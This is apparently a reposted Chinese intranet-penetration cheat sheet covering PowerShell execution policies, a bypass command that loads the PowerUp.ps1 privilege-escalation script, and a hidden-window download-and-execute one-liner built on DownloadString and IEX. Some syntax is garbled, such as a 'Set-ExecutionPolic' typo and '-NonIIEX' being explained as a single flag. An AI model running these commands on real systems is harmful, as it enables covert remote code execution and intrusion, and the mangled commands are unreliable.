免责声明
PowerShell
PowerShell开启脚本运行
为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”。
Get-ExecutionPolicy //查询当前执行策略
- Restricted:脚本不能运行(默认设置)。
- RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(拥有数字证书签名的除外)。
- AllSigned:仅当脚本由受信任的发布者签名时才能运行。
- Unrestricted:允许所有脚本运行。
Set-ExecutionPolic Unrestricted //允许所以脚本执行
PowerShell本地执行
powershell.exe -exec bypass -Command "& {Import-Module C:PowerUp.ps1; Invoke-AllChecks}"
PowerShell下载执行
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonIIEX(New-Object Net.WebClient).DownloadString("xxx.ps1");[parameters]
ExecutionPolicy Bypass(同exec bypass):绕过 PowerShell 的执行策略限制
Command:用于指定要执行的命令
Import-Module:导入模块
WindowStyle Hidden:执行不显示窗口
- NoProfile:不加载任何配置文件
- NonIIEX:不使用交互式环境
(New-Object Net.WebClient).DownloadString("xxx.ps1"):通过 Web 客户端对象下载指定 URL 中的 PowerShell 脚本
- [parameters]:指定脚本执行的参数
Get-Host //查看PowerShell版本
$PSVersionTable.PSVERSION //查看PowerShell版
原文始发于微信公众号(天启实验室):内网不常用命令汇总
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论